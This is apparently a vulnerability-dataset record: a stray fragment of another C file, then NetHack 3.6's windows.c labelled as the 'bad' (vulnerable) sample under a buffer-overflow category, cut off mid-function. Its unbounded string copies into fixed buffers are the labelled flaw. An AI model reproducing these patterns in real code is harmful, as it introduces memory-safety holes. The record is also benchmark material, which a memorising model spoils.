SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetPin( void ) { return SeNvmCtx.Pin; }
./CrossVul/dataset_final_sorted/CWE-120/c/good_3927_3
crossvul-cpp_data_bad_4523_2
/* NetHack 3.6 windows.c $NHDT-Date: 1575245096 2019/12/02 00:04:56 $ $NHDT-Branch: NetHack-3.6 $:$NHDT-Revision: 1.60 $ */ /* Copyright (c) D. Cohrs, 1993. */ /* NetHack may be freely redistributed. See license for details. */ #include "hack.h" #ifdef TTY_GRAPHICS #include "wintty.h" #endif #ifdef CURSES_GRAPHICS extern struct window_procs curses_procs; #endif #ifdef X11_GRAPHICS /* Cannot just blindly include winX.h without including all of X11 stuff and must get the order of include files right. Don't bother. */ extern struct window_procs X11_procs; extern void FDECL(win_X11_init, (int)); #endif #ifdef QT_GRAPHICS extern struct window_procs Qt_procs; #endif #ifdef GEM_GRAPHICS #include "wingem.h" #endif #ifdef MAC extern struct window_procs mac_procs; #endif #ifdef BEOS_GRAPHICS extern struct window_procs beos_procs; extern void FDECL(be_win_init, (int)); FAIL /* be_win_init doesn't exist? XXX*/ #endif #ifdef AMIGA_INTUITION extern struct window_procs amii_procs; extern struct window_procs amiv_procs; extern void FDECL(ami_wininit_data, (int)); #endif #ifdef WIN32_GRAPHICS extern struct window_procs win32_procs; #endif #ifdef GNOME_GRAPHICS #include "winGnome.h" extern struct window_procs Gnome_procs; #endif #ifdef MSWIN_GRAPHICS extern struct window_procs mswin_procs; #endif #ifdef WINCHAIN extern struct window_procs chainin_procs; extern void FDECL(chainin_procs_init, (int)); extern void *FDECL(chainin_procs_chain, (int, int, void *, void *, void *)); extern struct chain_procs chainout_procs; extern void FDECL(chainout_procs_init, (int)); extern void *FDECL(chainout_procs_chain, (int, int, void *, void *, void *)); extern struct chain_procs trace_procs; extern void FDECL(trace_procs_init, (int)); extern void *FDECL(trace_procs_chain, (int, int, void *, void *, void *)); #endif STATIC_DCL void FDECL(def_raw_print, (const char *s)); STATIC_DCL void NDECL(def_wait_synch); #ifdef DUMPLOG STATIC_DCL winid FDECL(dump_create_nhwindow, (int)); STATIC_DCL void FDECL(dump_clear_nhwindow, (winid)); STATIC_DCL void FDECL(dump_display_nhwindow, (winid, BOOLEAN_P)); STATIC_DCL void FDECL(dump_destroy_nhwindow, (winid)); STATIC_DCL void FDECL(dump_start_menu, (winid)); STATIC_DCL void FDECL(dump_add_menu, (winid, int, const ANY_P *, CHAR_P, CHAR_P, int, const char *, BOOLEAN_P)); STATIC_DCL void FDECL(dump_end_menu, (winid, const char *)); STATIC_DCL int FDECL(dump_select_menu, (winid, int, MENU_ITEM_P **)); STATIC_DCL void FDECL(dump_putstr, (winid, int, const char *)); #endif /* DUMPLOG */ #ifdef HANGUPHANDLING volatile #endif NEARDATA struct window_procs windowprocs; #ifdef WINCHAIN #define CHAINR(x) , x #else #define CHAINR(x) #endif static struct win_choices { struct window_procs *procs; void FDECL((*ini_routine), (int)); /* optional (can be 0) */ #ifdef WINCHAIN void *FDECL((*chain_routine), (int, int, void *, void *, void *)); #endif } winchoices[] = { #ifdef TTY_GRAPHICS { &tty_procs, win_tty_init CHAINR(0) }, #endif #ifdef CURSES_GRAPHICS { &curses_procs, 0 }, #endif #ifdef X11_GRAPHICS { &X11_procs, win_X11_init CHAINR(0) }, #endif #ifdef QT_GRAPHICS { &Qt_procs, 0 CHAINR(0) }, #endif #ifdef GEM_GRAPHICS { &Gem_procs, win_Gem_init CHAINR(0) }, #endif #ifdef MAC { &mac_procs, 0 CHAINR(0) }, #endif #ifdef BEOS_GRAPHICS { &beos_procs, be_win_init CHAINR(0) }, #endif #ifdef AMIGA_INTUITION { &amii_procs, ami_wininit_data CHAINR(0) }, /* Old font version of the game */ { &amiv_procs, ami_wininit_data CHAINR(0) }, /* Tile version of the game */ #endif #ifdef WIN32_GRAPHICS { &win32_procs, 0 CHAINR(0) }, #endif #ifdef GNOME_GRAPHICS { &Gnome_procs, 0 CHAINR(0) }, #endif #ifdef MSWIN_GRAPHICS { &mswin_procs, 0 CHAINR(0) }, #endif #ifdef WINCHAIN { &chainin_procs, chainin_procs_init, chainin_procs_chain }, { (struct window_procs *) &chainout_procs, chainout_procs_init, chainout_procs_chain }, { (struct window_procs *) &trace_procs, trace_procs_init, trace_procs_chain }, #endif { 0, 0 CHAINR(0) } /* must be last */ }; #ifdef WINCHAIN struct winlink { struct winlink *nextlink; struct win_choices *wincp; void *linkdata; }; /* NB: this chain does not contain the terminal real window system pointer */ static struct winlink *chain = 0; static struct winlink * wl_new() { struct winlink *wl = (struct winlink *) alloc(sizeof *wl); wl->nextlink = 0; wl->wincp = 0; wl->linkdata = 0; return wl; } static void wl_addhead(struct winlink *wl) { wl->nextlink = chain; chain = wl; } static void wl_addtail(struct winlink *wl) { struct winlink *p = chain; if (!chain) { chain = wl; return; } while (p->nextlink) { p = p->nextlink; } p->nextlink = wl; return; } #endif /* WINCHAIN */ static struct win_choices *last_winchoice = 0; boolean genl_can_suspend_no(VOID_ARGS) { return FALSE; } boolean genl_can_suspend_yes(VOID_ARGS) { return TRUE; } STATIC_OVL void def_raw_print(s) const char *s; { puts(s); } STATIC_OVL void def_wait_synch(VOID_ARGS) { /* Config file error handling routines * call wait_sync() without checking to * see if it actually has a value, * leading to spectacular violations * when you try to execute address zero. * The existence of this allows early * processing to have something to execute * even though it essentially does nothing */ return; } #ifdef WINCHAIN static struct win_choices * win_choices_find(s) const char *s; { register int i; for (i = 0; winchoices[i].procs; i++) { if (!strcmpi(s, winchoices[i].procs->name)) { return &winchoices[i]; } } return (struct win_choices *) 0; } #endif void choose_windows(s) const char *s; { register int i; for (i = 0; winchoices[i].procs; i++) { if ('+' == winchoices[i].procs->name[0]) continue; if ('-' == winchoices[i].procs->name[0]) continue; if (!strcmpi(s, winchoices[i].procs->name)) { windowprocs = *winchoices[i].procs; if (last_winchoice && last_winchoice->ini_routine) (*last_winchoice->ini_routine)(WININIT_UNDO); if (winchoices[i].ini_routine) (*winchoices[i].ini_routine)(WININIT); last_winchoice = &winchoices[i]; return; } } if (!windowprocs.win_raw_print) windowprocs.win_raw_print = def_raw_print; if (!windowprocs.win_wait_synch) /* early config file error processing routines call this */ windowprocs.win_wait_synch = def_wait_synch; if (!winchoices[0].procs) { raw_printf("No window types?"); nh_terminate(EXIT_FAILURE); } if (!winchoices[1].procs) { config_error_add( "Window type %s not recognized. The only choice is: %s", s, winchoices[0].procs->name); } else { char buf[BUFSZ]; boolean first = TRUE; buf[0] = '\0'; for (i = 0; winchoices[i].procs; i++) { if ('+' == winchoices[i].procs->name[0]) continue; if ('-' == winchoices[i].procs->name[0]) continue; Sprintf(eos(buf), "%s%s", first ? "" : ", ", winchoices[i].procs->name); first = FALSE; } config_error_add("Window type %s not recognized. Choices are: %s", s, buf); } if (windowprocs.win_raw_print == def_raw_print || WINDOWPORT("safe-startup")) nh_terminate(EXIT_SUCCESS); } #ifdef WINCHAIN void addto_windowchain(s) const char *s; { register int i; for (i = 0; winchoices[i].procs; i++) { if ('+' != winchoices[i].procs->name[0]) continue; if (!strcmpi(s, winchoices[i].procs->name)) { struct winlink *p = wl_new(); p->wincp = &winchoices[i]; wl_addtail(p); /* NB: The ini_routine() will be called during commit. */ return; } } windowprocs.win_raw_print = def_raw_print; raw_printf("Window processor %s not recognized. Choices are:", s); for (i = 0; winchoices[i].procs; i++) { if ('+' != winchoices[i].procs->name[0]) continue; raw_printf(" %s", winchoices[i].procs->name); } nh_terminate(EXIT_FAILURE); } void commit_windowchain() { struct winlink *p; int n; int wincap, wincap2; if (!chain) return; /* Save wincap* from the real window system - we'll restore it below. */ wincap = windowprocs.wincap; wincap2 = windowprocs.wincap2; /* add -chainin at head and -chainout at tail */ p = wl_new(); p->wincp = win_choices_find("-chainin"); if (!p->wincp) { raw_printf("Can't locate processor '-chainin'"); exit(EXIT_FAILURE); } wl_addhead(p); p = wl_new(); p->wincp = win_choices_find("-chainout"); if (!p->wincp) { raw_printf("Can't locate processor '-chainout'"); exit(EXIT_FAILURE); } wl_addtail(p); /* Now alloc() init() similar to Objective-C. */ for (n = 1, p = chain; p; n++, p = p->nextlink) { p->linkdata = (*p->wincp->chain_routine)(WINCHAIN_ALLOC, n, 0, 0, 0); } for (n = 1, p = chain; p; n++, p = p->nextlink) { if (p->nextlink) { (void) (*p->wincp->chain_routine)(WINCHAIN_INIT, n, p->linkdata, p->nextlink->wincp->procs, p->nextlink->linkdata); } else { (void) (*p->wincp->chain_routine)(WINCHAIN_INIT, n, p->linkdata, last_winchoice->procs, 0); } } /* Restore the saved wincap* values. We do it here to give the * ini_routine()s a chance to change or check them. */ chain->wincp->procs->wincap = wincap; chain->wincp->procs->wincap2 = wincap2; /* Call the init procs. Do not re-init the terminal real win. */ p = chain; while (p->nextlink) { if (p->wincp->ini_routine) { (*p->wincp->ini_routine)(WININIT); } p = p->nextlink; } /* Install the chain into window procs very late so ini_routine()s * can raw_print on error. */ windowprocs = *chain->wincp->procs; p = chain; while (p) { struct winlink *np = p->nextlink; free(p); p = np; /* assignment, not proof */ } } #endif /* WINCHAIN */ /* * tty_message_menu() provides a means to get feedback from the * --More-- prompt; other interfaces generally don't need that. */ /*ARGSUSED*/ char genl_message_menu(let, how, mesg) char let UNUSED; int how UNUSED; const char *mesg; { pline("%s", mesg); return 0; } /*ARGSUSED*/ void genl_preference_update(pref) const char *pref UNUSED; { /* window ports are expected to provide their own preference update routine for the preference capabilities that they support. Just return in this genl one. */ return; } char * genl_getmsghistory(init) boolean init UNUSED; { /* window ports can provide their own getmsghistory() routine to preserve message history between games. The routine is called repeatedly from the core save routine, and the window port is expected to successively return each message that it wants saved, starting with the oldest message first, finishing with the most recent. Return null pointer when finished. */ return (char *) 0; } void genl_putmsghistory(msg, is_restoring) const char *msg; boolean is_restoring; { /* window ports can provide their own putmsghistory() routine to load message history from a saved game. The routine is called repeatedly from the core restore routine, starting with the oldest saved message first, and finishing with the latest. The window port routine is expected to load the message recall buffers in such a way that the ordering is preserved. The window port routine should make no assumptions about how many messages are forthcoming, nor should it assume that another message will follow this one, so it should keep all pointers/indexes intact at the end of each call. */ /* this doesn't provide for reloading the message window with the previous session's messages upon restore, but it does put the quest message summary lines there by treating them as ordinary messages */ if (!is_restoring) pline("%s", msg); return; } #ifdef HANGUPHANDLING /* * Dummy windowing scheme used to replace current one with no-ops * in order to avoid all terminal I/O after hangup/disconnect. */ static int NDECL(hup_nhgetch); static char FDECL(hup_yn_function, (const char *, const char *, CHAR_P)); static int FDECL(hup_nh_poskey, (int *, int *, int *)); static void FDECL(hup_getlin, (const char *, char *)); static void FDECL(hup_init_nhwindows, (int *, char **)); static void FDECL(hup_exit_nhwindows, (const char *)); static winid FDECL(hup_create_nhwindow, (int)); static int FDECL(hup_select_menu, (winid, int, MENU_ITEM_P **)); static void FDECL(hup_add_menu, (winid, int, const anything *, CHAR_P, CHAR_P, int, const char *, BOOLEAN_P)); static void FDECL(hup_end_menu, (winid, const char *)); static void FDECL(hup_putstr, (winid, int, const char *)); static void FDECL(hup_print_glyph, (winid, XCHAR_P, XCHAR_P, int, int)); static void FDECL(hup_outrip, (winid, int, time_t)); static void FDECL(hup_curs, (winid, int, int)); static void FDECL(hup_display_nhwindow, (winid, BOOLEAN_P)); static void FDECL(hup_display_file, (const char *, BOOLEAN_P)); #ifdef CLIPPING static void FDECL(hup_cliparound, (int, int)); #endif #ifdef CHANGE_COLOR static void FDECL(hup_change_color, (int, long, int)); #ifdef MAC static short FDECL(hup_set_font_name, (winid, char *)); #endif static char *NDECL(hup_get_color_string); #endif /* CHANGE_COLOR */ static void FDECL(hup_status_update, (int, genericptr_t, int, int, int, unsigned long *)); static int NDECL(hup_int_ndecl); static void NDECL(hup_void_ndecl); static void FDECL(hup_void_fdecl_int, (int)); static void FDECL(hup_void_fdecl_winid, (winid)); static void FDECL(hup_void_fdecl_constchar_p, (const char *)); static struct window_procs hup_procs = { "hup", 0L, 0L, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, hup_init_nhwindows, hup_void_ndecl, /* player_selection */ hup_void_ndecl, /* askname */ hup_void_ndecl, /* get_nh_event */ hup_exit_nhwindows, hup_void_fdecl_constchar_p, /* suspend_nhwindows */ hup_void_ndecl, /* resume_nhwindows */ hup_create_nhwindow, hup_void_fdecl_winid, /* clear_nhwindow */ hup_display_nhwindow, hup_void_fdecl_winid, /* destroy_nhwindow */ hup_curs, hup_putstr, hup_putstr, /* putmixed */ hup_display_file, hup_void_fdecl_winid, /* start_menu */ hup_add_menu, hup_end_menu, hup_select_menu, genl_message_menu, hup_void_ndecl, /* update_inventory */ hup_void_ndecl, /* mark_synch */ hup_void_ndecl, /* wait_synch */ #ifdef CLIPPING hup_cliparound, #endif #ifdef POSITIONBAR (void FDECL((*), (char *))) hup_void_fdecl_constchar_p, /* update_positionbar */ #endif hup_print_glyph, hup_void_fdecl_constchar_p, /* raw_print */ hup_void_fdecl_constchar_p, /* raw_print_bold */ hup_nhgetch, hup_nh_poskey, hup_void_ndecl, /* nhbell */ hup_int_ndecl, /* doprev_message */ hup_yn_function, hup_getlin, hup_int_ndecl, /* get_ext_cmd */ hup_void_fdecl_int, /* number_pad */ hup_void_ndecl, /* delay_output */ #ifdef CHANGE_COLOR hup_change_color, #ifdef MAC hup_void_fdecl_int, /* change_background */ hup_set_font_name, #endif hup_get_color_string, #endif /* CHANGE_COLOR */ hup_void_ndecl, /* start_screen */ hup_void_ndecl, /* end_screen */ hup_outrip, genl_preference_update, genl_getmsghistory, genl_putmsghistory, hup_void_ndecl, /* status_init */ hup_void_ndecl, /* status_finish */ genl_status_enablefield, hup_status_update, genl_can_suspend_no, }; static void FDECL((*previnterface_exit_nhwindows), (const char *)) = 0; /* hangup has occurred; switch to no-op user interface */ void nhwindows_hangup() { char *FDECL((*previnterface_getmsghistory), (BOOLEAN_P)) = 0; #ifdef ALTMETA /* command processor shouldn't look for 2nd char after seeing ESC */ iflags.altmeta = FALSE; #endif /* don't call exit_nhwindows() directly here; if a hangup occurs while interface code is executing, exit_nhwindows could knock the interface's active data structures out from under itself */ if (iflags.window_inited && windowprocs.win_exit_nhwindows != hup_exit_nhwindows) previnterface_exit_nhwindows = windowprocs.win_exit_nhwindows; /* also, we have to leave the old interface's getmsghistory() in place because it will be called while saving the game */ if (windowprocs.win_getmsghistory != hup_procs.win_getmsghistory) previnterface_getmsghistory = windowprocs.win_getmsghistory; windowprocs = hup_procs; if (previnterface_getmsghistory) windowprocs.win_getmsghistory = previnterface_getmsghistory; } static void hup_exit_nhwindows(lastgasp) const char *lastgasp; { /* core has called exit_nhwindows(); call the previous interface's shutdown routine now; xxx_exit_nhwindows() needs to call other xxx_ routines directly rather than through windowprocs pointers */ if (previnterface_exit_nhwindows) { lastgasp = 0; /* don't want exit routine to attempt extra output */ (*previnterface_exit_nhwindows)(lastgasp); previnterface_exit_nhwindows = 0; } iflags.window_inited = 0; } static int hup_nhgetch(VOID_ARGS) { return '\033'; /* ESC */ } /*ARGSUSED*/ static char hup_yn_function(prompt, resp, deflt) const char *prompt UNUSED, *resp UNUSED; char deflt; { if (!deflt) deflt = '\033'; return deflt; } /*ARGSUSED*/ static int hup_nh_poskey(x, y, mod) int *x UNUSED, *y UNUSED, *mod UNUSED; { return '\033'; } /*ARGSUSED*/ static void hup_getlin(prompt, outbuf) const char *prompt UNUSED; char *outbuf; { Strcpy(outbuf, "\033"); } /*ARGSUSED*/ static void hup_init_nhwindows(argc_p, argv) int *argc_p UNUSED; char **argv UNUSED; { iflags.window_inited = 1; } /*ARGUSED*/ static winid hup_create_nhwindow(type) int type UNUSED; { return WIN_ERR; } /*ARGSUSED*/ static int hup_select_menu(window, how, menu_list) winid window UNUSED; int how UNUSED; struct mi **menu_list UNUSED; { return -1; } /*ARGSUSED*/ static void hup_add_menu(window, glyph, identifier, sel, grpsel, attr, txt, preselected) winid window UNUSED; int glyph UNUSED, attr UNUSED; const anything *identifier UNUSED; char sel UNUSED, grpsel UNUSED; const char *txt UNUSED; boolean preselected UNUSED; { return; } /*ARGSUSED*/ static void hup_end_menu(window, prompt) winid window UNUSED; const char *prompt UNUSED; { return; } /*ARGSUSED*/ static void hup_putstr(window, attr, text) winid window UNUSED; int attr UNUSED; const char *text UNUSED; { return; } /*ARGSUSED*/ static void hup_print_glyph(window, x, y, glyph, bkglyph) winid window UNUSED; xchar x UNUSED, y UNUSED; int glyph UNUSED; int bkglyph UNUSED; { return; } /*ARGSUSED*/ static void hup_outrip(tmpwin, how, when) winid tmpwin UNUSED; int how UNUSED; time_t when UNUSED; { return; } /*ARGSUSED*/ static void hup_curs(window, x, y) winid window UNUSED; int x UNUSED, y UNUSED; { return; } /*ARGSUSED*/ static void hup_display_nhwindow(window, blocking) winid window UNUSED; boolean blocking UNUSED; { return; } /*ARGSUSED*/ static void hup_display_file(fname, complain) const char *fname UNUSED; boolean complain UNUSED; { return; } #ifdef CLIPPING /*ARGSUSED*/ static void hup_cliparound(x, y) int x UNUSED, y UNUSED; { return; } #endif #ifdef CHANGE_COLOR /*ARGSUSED*/ static void hup_change_color(color, rgb, reverse) int color, reverse; long rgb; { return; } #ifdef MAC /*ARGSUSED*/ static short hup_set_font_name(window, fontname) winid window; char *fontname; { return 0; } #endif /* MAC */ static char * hup_get_color_string(VOID_ARGS) { return (char *) 0; } #endif /* CHANGE_COLOR */ /*ARGSUSED*/ static void hup_status_update(idx, ptr, chg, pc, color, colormasks) int idx UNUSED; genericptr_t ptr UNUSED; int chg UNUSED, pc UNUSED, color UNUSED; unsigned long *colormasks UNUSED; { return; } /* * Non-specific stubs. */ static int hup_int_ndecl(VOID_ARGS) { return -1; } static void hup_void_ndecl(VOID_ARGS) { return; } /*ARGUSED*/ static void hup_void_fdecl_int(arg) int arg UNUSED; { return; } /*ARGUSED*/ static void hup_void_fdecl_winid(window) winid window UNUSED; { return; } /*ARGUSED*/ static void hup_void_fdecl_constchar_p(string) const char *string UNUSED; { return; } #endif /* HANGUPHANDLING */ /****************************************************************************/ /* genl backward compat stuff */ /****************************************************************************/ const char *status_fieldnm[MAXBLSTATS]; const char *status_fieldfmt[MAXBLSTATS]; char *status_vals[MAXBLSTATS]; boolean status_activefields[MAXBLSTATS]; NEARDATA winid WIN_STATUS; void genl_status_init() { int i; for (i = 0; i < MAXBLSTATS; ++i) { status_vals[i] = (char *) alloc(MAXCO); *status_vals[i] = '\0'; status_activefields[i] = FALSE; status_fieldfmt[i] = (const char *) 0; } /* Use a window for the genl version; backward port compatibility */ WIN_STATUS = create_nhwindow(NHW_STATUS); display_nhwindow(WIN_STATUS, FALSE); } void genl_status_finish() { /* tear down routine */ int i; /* free alloc'd memory here */ for (i = 0; i < MAXBLSTATS; ++i) { if (status_vals[i]) free((genericptr_t) status_vals[i]), status_vals[i] = (char *) 0; } } void genl_status_enablefield(fieldidx, nm, fmt, enable) int fieldidx; const char *nm; const char *fmt; boolean enable; { status_fieldfmt[fieldidx] = fmt; status_fieldnm[fieldidx] = nm; status_activefields[fieldidx] = enable; } /* call once for each field, then call with BL_FLUSH to output the result */ void genl_status_update(idx, ptr, chg, percent, color, colormasks) int idx; genericptr_t ptr; int chg UNUSED, percent UNUSED, color UNUSED; unsigned long *colormasks UNUSED; { char newbot1[MAXCO], newbot2[MAXCO]; long cond, *condptr = (long *) ptr; register int i; unsigned pass, lndelta; enum statusfields idx1, idx2, *fieldlist; char *nb, *text = (char *) ptr; static enum statusfields fieldorder[][15] = { /* line one */ { BL_TITLE, BL_STR, BL_DX, BL_CO, BL_IN, BL_WI, BL_CH, BL_ALIGN, BL_SCORE, BL_FLUSH, BL_FLUSH, BL_FLUSH, BL_FLUSH, BL_FLUSH, BL_FLUSH }, /* line two, default order */ { BL_LEVELDESC, BL_GOLD, BL_HP, BL_HPMAX, BL_ENE, BL_ENEMAX, BL_AC, BL_XP, BL_EXP, BL_HD, BL_TIME, BL_HUNGER, BL_CAP, BL_CONDITION, BL_FLUSH }, /* move time to the end */ { BL_LEVELDESC, BL_GOLD, BL_HP, BL_HPMAX, BL_ENE, BL_ENEMAX, BL_AC, BL_XP, BL_EXP, BL_HD, BL_HUNGER, BL_CAP, BL_CONDITION, BL_TIME, BL_FLUSH }, /* move experience and time to the end */ { BL_LEVELDESC, BL_GOLD, BL_HP, BL_HPMAX, BL_ENE, BL_ENEMAX, BL_AC, BL_HUNGER, BL_CAP, BL_CONDITION, BL_XP, BL_EXP, BL_HD, BL_TIME, BL_FLUSH }, /* move level description plus gold and experience and time to end */ { BL_HP, BL_HPMAX, BL_ENE, BL_ENEMAX, BL_AC, BL_HUNGER, BL_CAP, BL_CONDITION, BL_LEVELDESC, BL_GOLD, BL_XP, BL_EXP, BL_HD, BL_TIME, BL_FLUSH }, }; /* in case interface is using genl_status_update() but has not specified WC2_FLUSH_STATUS (status_update() for field values is buffered so final BL_FLUSH is needed to produce output) */ windowprocs.wincap2 |= WC2_FLUSH_STATUS; if (idx >= 0) { if (!status_activefields[idx]) return; switch (idx) { case BL_CONDITION: cond = condptr ? *condptr : 0L; nb = status_vals[idx]; *nb = '\0'; if (cond & BL_MASK_STONE) Strcpy(nb = eos(nb), " Stone"); if (cond & BL_MASK_SLIME) Strcpy(nb = eos(nb), " Slime"); if (cond & BL_MASK_STRNGL) Strcpy(nb = eos(nb), " Strngl"); if (cond & BL_MASK_FOODPOIS) Strcpy(nb = eos(nb), " FoodPois"); if (cond & BL_MASK_TERMILL) Strcpy(nb = eos(nb), " TermIll"); if (cond & BL_MASK_BLIND) Strcpy(nb = eos(nb), " Blind"); if (cond & BL_MASK_DEAF) Strcpy(nb = eos(nb), " Deaf"); if (cond & BL_MASK_STUN) Strcpy(nb = eos(nb), " Stun"); if (cond & BL_MASK_CONF) Strcpy(nb = eos(nb), " Conf"); if (cond & BL_MASK_HALLU) Strcpy(nb = eos(nb), " Hallu"); if (cond & BL_MASK_LEV) Strcpy(nb = eos(nb), " Lev"); if (cond & BL_MASK_FLY) Strcpy(nb = eos(nb), " Fly"); if (cond & BL_MASK_RIDE) Strcpy(nb = eos(nb), " Ride"); break; default: Sprintf(status_vals[idx], status_fieldfmt[idx] ? status_fieldfmt[idx] : "%s", text ? text : ""); break; } return; /* processed one field other than BL_FLUSH */ } /* (idx >= 0, thus not BL_FLUSH, BL_RESET, BL_CHARACTERISTICS) */ /* does BL_RESET require any specific code to ensure all fields ? */ if (!(idx == BL_FLUSH || idx == BL_RESET)) return; /* We've received BL_FLUSH; time to output the gathered data */ nb = newbot1; *nb = '\0'; /* BL_FLUSH is the only pseudo-index value we need to check for in the loop below because it is the only entry used to pad the end of the fieldorder array. We could stop on any negative (illegal) index, but this should be fine */ for (i = 0; (idx1 = fieldorder[0][i]) != BL_FLUSH; ++i) { if (status_activefields[idx1]) Strcpy(nb = eos(nb), status_vals[idx1]); } /* if '$' is encoded, buffer length of \GXXXXNNNN is 9 greater than single char; we want to subtract that 9 when checking display length */ lndelta = (status_activefields[BL_GOLD] && strstr(status_vals[BL_GOLD], "\\G")) ? 9 : 0; /* basic bot2 formats groups of second line fields into five buffers, then decides how to order those buffers based on comparing lengths of [sub]sets of them to the width of the map; we have more control here but currently emulate that behavior */ for (pass = 1; pass <= 4; pass++) { fieldlist = fieldorder[pass]; nb = newbot2; *nb = '\0'; for (i = 0; (idx2 = fieldlist[i]) != BL_FLUSH; ++i) { if (status_activefields[idx2]) { const char *val = status_vals[idx2]; switch (idx2) { case BL_HP: /* for pass 4, Hp comes first; mungspaces() will strip the unwanted leading spaces */ case BL_XP: case BL_HD: case BL_TIME: Strcpy(nb = eos(nb), " "); break; case BL_LEVELDESC: /* leveldesc has no leading space, so if we've moved it past the first position, provide one */ if (i != 0) Strcpy(nb = eos(nb), " "); break; /* * We want " hunger encumbrance conditions" * or " encumbrance conditions" * or " hunger conditions" * or " conditions" * 'hunger' is either " " or " hunger_text"; * 'encumbrance' is either " " or " encumbrance_text"; * 'conditions' is either "" or " cond1 cond2...". */ case BL_HUNGER: /* hunger==" " - keep it, end up with " "; hunger!=" " - insert space and get " hunger" */ if (strcmp(val, " ")) Strcpy(nb = eos(nb), " "); break; case BL_CAP: /* cap==" " - suppress it, retain " hunger" or " "; cap!=" " - use it, get " hunger cap" or " cap" */ if (!strcmp(val, " ")) ++val; break; default: break; } Strcpy(nb = eos(nb), val); /* status_vals[idx2] */ } /* status_activefields[idx2] */ if (idx2 == BL_CONDITION && pass < 4 && strlen(newbot2) - lndelta > COLNO) break; /* switch to next order */ } /* i */ if (idx2 == BL_FLUSH) { /* made it past BL_CONDITION */ if (pass > 1) mungspaces(newbot2); break; } } /* pass */ curs(WIN_STATUS, 1, 0); putstr(WIN_STATUS, 0, newbot1); curs(WIN_STATUS, 1, 1); putmixed(WIN_STATUS, 0, newbot2); /* putmixed() due to GOLD glyph */ } STATIC_VAR struct window_procs dumplog_windowprocs_backup; STATIC_VAR FILE *dumplog_file; #ifdef DUMPLOG STATIC_VAR time_t dumplog_now; char * dump_fmtstr(fmt, buf, fullsubs) const char *fmt; char *buf; boolean fullsubs; /* True -> full substitution for file name, False -> * partial substitution for '--showpaths' feedback * where there's no game in progress when executed */ { const char *fp = fmt; char *bp = buf; int slen, len = 0; char tmpbuf[BUFSZ]; char verbuf[BUFSZ]; long uid; time_t now; now = dumplog_now; uid = (long) getuid(); /* * Note: %t and %T assume that time_t is a 'long int' number of * seconds since some epoch value. That's quite iffy.... The * unit of time might be different and the datum size might be * some variant of 'long long int'. [Their main purpose is to * construct a unique file name rather than record the date and * time; violating the 'long seconds since base-date' assumption * may or may not interfere with that usage.] */ while (fp && *fp && len < BUFSZ - 1) { if (*fp == '%') { fp++; switch (*fp) { default: goto finish; case '\0': /* fallthrough */ case '%': /* literal % */ Sprintf(tmpbuf, "%%"); break; case 't': /* game start, timestamp */ if (fullsubs) Sprintf(tmpbuf, "%lu", (unsigned long) ubirthday); else Strcpy(tmpbuf, "{game start cookie}"); break; case 'T': /* current time, timestamp */ if (fullsubs) Sprintf(tmpbuf, "%lu", (unsigned long) now); else Strcpy(tmpbuf, "{current time cookie}"); break; case 'd': /* game start, YYYYMMDDhhmmss */ if (fullsubs) Sprintf(tmpbuf, "%08ld%06ld", yyyymmdd(ubirthday), hhmmss(ubirthday)); else Strcpy(tmpbuf, "{game start date+time}"); break; case 'D': /* current time, YYYYMMDDhhmmss */ if (fullsubs) Sprintf(tmpbuf, "%08ld%06ld", yyyymmdd(now), hhmmss(now)); else Strcpy(tmpbuf, "{current date+time}"); break; case 'v': /* version, eg. "3.6.5-0" */ Sprintf(tmpbuf, "%s", version_string(verbuf)); break; case 'u': /* UID */ Sprintf(tmpbuf, "%ld", uid); break; case 'n': /* player name */ if (fullsubs) Sprintf(tmpbuf, "%s", *plname ? plname : "unknown"); else Strcpy(tmpbuf, "{hero name}"); break; case 'N': /* first character of player name */ if (fullsubs) Sprintf(tmpbuf, "%c", *plname ? *plname : 'u'); else Strcpy(tmpbuf, "{hero initial}"); break; } if (fullsubs) { /* replace potentially troublesome characters (including <space> even though it might be an acceptable file name character); user shouldn't be able to get ' ' or '/' or '\\' into plname[] but play things safe */ (void) strNsubst(tmpbuf, " ", "_", 0); (void) strNsubst(tmpbuf, "/", "_", 0); (void) strNsubst(tmpbuf, "\\", "_", 0); /* note: replacements are only done on field substitutions, not on the template (from sysconf or DUMPLOG_FILE) */ } slen = (int) strlen(tmpbuf); if (len + slen < BUFSZ - 1) { len += slen; Sprintf(bp, "%s", tmpbuf); bp += slen; if (*fp) fp++; } else break; } else { *bp = *fp; bp++; fp++; len++; } } finish: *bp = '\0'; return buf; } #endif /* DUMPLOG */ void dump_open_log(now) time_t now; { #ifdef DUMPLOG char buf[BUFSZ]; char *fname; dumplog_now = now; #ifdef SYSCF if (!sysopt.dumplogfile) return; fname = dump_fmtstr(sysopt.dumplogfile, buf, TRUE); #else fname = dump_fmtstr(DUMPLOG_FILE, buf, TRUE); #endif dumplog_file = fopen(fname, "w"); dumplog_windowprocs_backup = windowprocs; #else /*!DUMPLOG*/ nhUse(now); #endif /*?DUMPLOG*/ } void dump_close_log() { if (dumplog_file) { (void) fclose(dumplog_file); dumplog_file = (FILE *) 0; } } void dump_forward_putstr(win, attr, str, no_forward) winid win; int attr; const char *str; int no_forward; { if (dumplog_file) fprintf(dumplog_file, "%s\n", str); if (!no_forward) putstr(win, attr, str); } /*ARGSUSED*/ STATIC_OVL void dump_putstr(win, attr, str) winid win UNUSED; int attr UNUSED; const char *str; { if (dumplog_file) fprintf(dumplog_file, "%s\n", str); } STATIC_OVL winid dump_create_nhwindow(dummy) int dummy; { return dummy; } /*ARGUSED*/ STATIC_OVL void dump_clear_nhwindow(win) winid win UNUSED; { return; } /*ARGSUSED*/ STATIC_OVL void dump_display_nhwindow(win, p) winid win UNUSED; boolean p UNUSED; { return; } /*ARGUSED*/ STATIC_OVL void dump_destroy_nhwindow(win) winid win UNUSED; { return; } /*ARGUSED*/ STATIC_OVL void dump_start_menu(win) winid win UNUSED; { return; } /*ARGSUSED*/ STATIC_OVL void dump_add_menu(win, glyph, identifier, ch, gch, attr, str, preselected) winid win UNUSED; int glyph; const anything *identifier UNUSED; char ch; char gch UNUSED; int attr UNUSED; const char *str; boolean preselected UNUSED; { if (dumplog_file) { if (glyph == NO_GLYPH) fprintf(dumplog_file, " %s\n", str); else fprintf(dumplog_file, " %c - %s\n", ch, str); } } /*ARGSUSED*/ STATIC_OVL void dump_end_menu(win, str) winid win UNUSED; const char *str; { if (dumplog_file) { if (str) fprintf(dumplog_file, "%s\n", str); else fputs("\n", dumplog_file); } } STATIC_OVL int dump_select_menu(win, how, item) winid win UNUSED; int how 